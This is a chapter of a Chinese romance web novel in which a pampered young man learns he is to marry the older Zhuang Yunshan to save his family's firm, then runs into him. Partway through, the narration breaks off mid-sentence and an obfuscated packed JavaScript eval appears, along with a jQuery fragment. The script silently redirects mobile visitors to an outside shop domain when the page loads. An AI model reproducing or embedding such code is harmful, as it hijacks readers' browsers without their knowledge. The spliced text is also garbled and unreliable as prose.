“什么?!”
一声惊呼响起。
“你小点声。”
郑竹低着头,顺便扒拉了一下何意。
他四下扫视一圈,见没人关注他们,这才松了口气。
然而,何意显然不在意这些,那双略显凌厉上扬的眼睛怒目圆瞪,气势汹汹地说:“你说我要和谁联姻?”
这一声如平地惊雷般,在不大不小的餐厅里乍然响起,引起不少关注。
“……”
感受着落在身上的数道目光,郑竹捂住脸,试图让自己看起来和身边这人不熟。
何意还在不高兴:“我知道我家破产了,但没必要现在就把我往外嫁……呸,嫁什么嫁,不管怎样,也不能让我和男人结婚吧。”
他咬牙切齿地补充:“还是跟一个沉默寡言的老东西。”
郑竹扶额,及时纠正说:“人家不老。”
“大我一旬,还能说不老?”何意瞪眼,“谁知道是不是那玩意儿早没用了,为了掩饰一下自己的不行,所以才想着跟男人结婚。”
郑竹早就习惯了好友的张口就来,对此毫不意外,但顾忌着现在所处的环境,他还是拽了拽正在气头上的何意的手腕,示意对方出去说。
何意抓了抓凌乱的头发,一脸暴躁地说:“别拉我,没什么好说的,我现在就回家找我爸妈。”
说罢,他把椅子往后一撤,利落起身离开。
望着何意的背影,郑竹欲言又止,最后低声喃喃:“找也没用啊笨蛋,这就是你爸妈跟人家定的。”
然而何意没有听到这话,他骑机车飙回家里,一眼就看到了在花园浇水的何父。
何氏快要被对家搞垮了,已经准备对外宣称破产,何父最近忙得焦头烂额,恨不得一天八百个酒局,试图让公司起死回生。
今天却格外少见在家,还有闲情逸致浇花。
何意脚步微顿,脑海中倏地闪过一丝怪异,但他正在气头上,于是直接冲了过去,说道:“爸,今天我听说了一件很荒谬的事。”
何父没有停下,悠哉游哉地问:“刚才跟谁去吃饭了?”
何意没有多想,脱口而出:“还能是谁,当然是郑竹了。”
何父了然:“原来是小竹啊。”
何意啧了声:“哎呀,爸你问这个干嘛,你都不问问我听说了什么吗?”
何父这才没有继续浇水,转过身来,一脸平静地说:“还能是什么,不就是你要嫁人的事?”
何意眉毛一拧:“怎么成我嫁人了——不对,等等,这件事你知道?”
直到这时,何意才忽然明白,为什么何父今天在家浇花。
搞半天,他爸知道他要跟男人结婚了。
何意一脸不敢置信:“爸,你别告诉我,这件事是真的?”
何父不答反问:“小竹还说什么了?”
何意下意识摇头,想到什么,又一次瞪眼:“你问这么多干嘛,不关郑竹的事。”
何父叹了口气,说:“本来还想晚几天再告诉你的。”
说着,他转身往客厅方向走。
何意紧跟着过去:“所以这件事真的。”
他用了肯定语气,哪怕再蠢笨,看到何父的反应,也该知道好友确实没有说谎。
何意只是没有想到,家里人居然一直瞒着他。
何父坐在沙发上,拍了拍旁边的位置,说:“坐下聊。”
“聊什么聊,我要都被你们丢给老男人玩了,还有什么好说的。”何意怒气冲冲地说。
何父冷下了脸:“何意,好好说话。”
何意语气激烈:“我怎么好好说话,我知道家里破产了,但你们没必要让我去跟一个男人联姻吧,难道利益比我的后半生幸福还重要?”
说完,他不免感到委屈,眼眶变得通红。
虽然现代社会已经足够开放,同性也可以登记结婚,但到底有些小众,说出来是要被人笑话的。
何意从小被娇惯着长大,别的不见得多厉害,脾气却是一等一的大,他从未想过,有一天自己会沦落到与同性联姻的地步。
想起之前和好友一起嘲讽被迫联姻的二代们,他心里愈发难受,没想到有一天回旋镖会扎在自己身上,简直郁闷到说不出话来。
见儿子这么痛苦,何父也不好受,面上浮现出不忍:“阿意,你听爸爸说。”
何意眼眶通红地看着他,没有说话。
何父斟酌着,出声说:“爸爸知道你年龄小,也不喜欢男人,但家里的情况你也知道,如果没有庄先生,我们就真的要破产了。”
“这次有庄先生出手相救,何氏算是勉强能继续苟延残喘,这份恩情实在太大,爸爸也诚惶诚恐。”
“那你们就要把我送去联姻?”何意插嘴问。
何父老脸一黑:“当然不是,爸爸没禽|兽到那个程度。”
何意冷哼一声,没再发问。
何父咳了声,说:“是庄老先生的主意。”
庄家老爷子早就不问世事,这次不知怎的,竟然主动找上门来,说两家曾经有过什么婚约,让何意嫁过去。
何父起初也不同意,但权衡利弊后,发现对方不是来商量的,而是通知,他们何家根本没得选。
哪怕再不满,何意跟庄昀山结婚也是板上钉钉。
何意沉默半晌,才问:“为什么会是我?”
何父哑然,说不出理由。
庄老先生行事作风便是如此,让人摸不着头脑,看不透他在想什么。
何意仍有几分不情不愿:“就算这样,我也不想跟庄昀山结婚,他都多大了啊,快奔四的老男人,怎么好意思老牛吃嫩草的。”
何意今年刚大学毕业,正是大好青春年华,满腹抱负还没来得及施展,就被通知即将踏入婚姻的坟墓,这让他怎么能接受。
况且,庄昀山是庄老先生的幺子,跟何父同辈,这么一来,岂不是乱了辈分!
何父叹了口气:“阿意,你就忍忍,庄老爷子近几年身体不太好,说不定……总之,到时候爸爸想个办法,把你从庄家要回来。”
何意吹鼻子瞪眼:“怎么,我还是物件啊,想要就要,想给就给?”
知道他脾气大,何父没再多言,只是摇摇头:“你这个脾气也得改改,免得在庄家闯祸,别人可不会像爸妈这样纵容你。”
何意哼声:“我才不管他呢,对了,我妈呢?”
聊了半天,他才发现何母不在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012986|148625||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
家。
何父清了清嗓子,表情有些不自然:“你妈出去了。”
经过今天的事,何意多了个心眼,立马问:“不会又跟庄家有关系吧?”
何父:“待会你就知道了。”
何意不明觉厉:“要是跟庄昀山见面,我可不去!”
两个小时后。
看着眼前的桌子,何意开始磨牙。
何母喋喋不休:“阿意,待会见了庄先生,千万不要耍小性子。”
何意敷衍点头,在脑中将庄昀山翻来覆去暴打数遍,然后起身准备往外走。
“你干什么去?”何父立马警觉,“这个场你可不能临阵脱逃。”
被识破想法,何意表情有些不好,他气哼哼地说:“我去上厕所!”
说完,不等何父再说,他便转身往门外走去。
“哗啦——”
任由水流冲过手指,何意垂眸,表情仍有些臭臭的。
他不想见庄昀山,不仅是马上要跟对方结婚,还因为每次看到对方他都犯怵。
庄昀山这人,就像冰天雪地的高山,巍峨挺拔,不近人情,光是靠近就要被冻死了,哪里还能让人提起半分亲近之感。
作为庄家如今的掌舵主,庄昀山倒是做了不少大事,让庄氏更上一层楼,手腕能力非同凡响。
但那又如何,跟他何意没有半分关系。
何意从小就跟庄昀山不亲近,对方冷冰冰的,一看就不像是能给糖的大人,这种恐惧延续到现在,只增不减。
“老黄瓜刷嫩漆,装什么装。”
何意嘟嘟哝哝。
庄昀山大他九岁,刚过了三十一岁的生日,按理说算不上老东西,但他正在气头上,自然说不出什么好话。
不知为何,说出这句话,何意觉得有人在盯着自己。
他若有所感抬头,和一双眼睛倏地对上,吓得他骂了句脏:“卧槽!”
庄昀山不知什么时候走了进来,正站在他身后不远处,安安静静看着他。
何意又气又恼,还带着点心虚,他小幅度甩了甩手,转过身去,看向庄昀山。
男人一身西装,宽肩窄腰,修长双腿,身量极高,如挺拔松柏,单是站着便自成风景,更别提那张脸也称得上是绝佳。
这副容貌,本该是赏心悦目的,可在何意看来却跟催命的厉鬼没什么区别。
何意凶巴巴地瞪着庄昀山:“看什么看,没见过帅哥洗手啊。”
话虽如此,他气势却莫名其妙弱了半截。
庄昀山似乎笑了,又好像没有,那张棱角分明的脸仍是不近人情的,让他下意识犯怵。
何意抿紧唇线,眼神开始看向门口。
品着空气中的尴尬,他开始怀疑对方是否听到自己说的那句话,不然为什么神出鬼没,把他吓一跳。
“多日不见,小意确实更帅了些。”
庄昀山嗓音轻缓地开口。
猝不及防被夸,何意满头问号,一脸迷惑看着庄昀山。
就听见这人又说:“不过,背地里骂人可不是好习惯。”
“……”
何意大脑宕机,脑袋里只剩下一个念头。
——他果然听到了!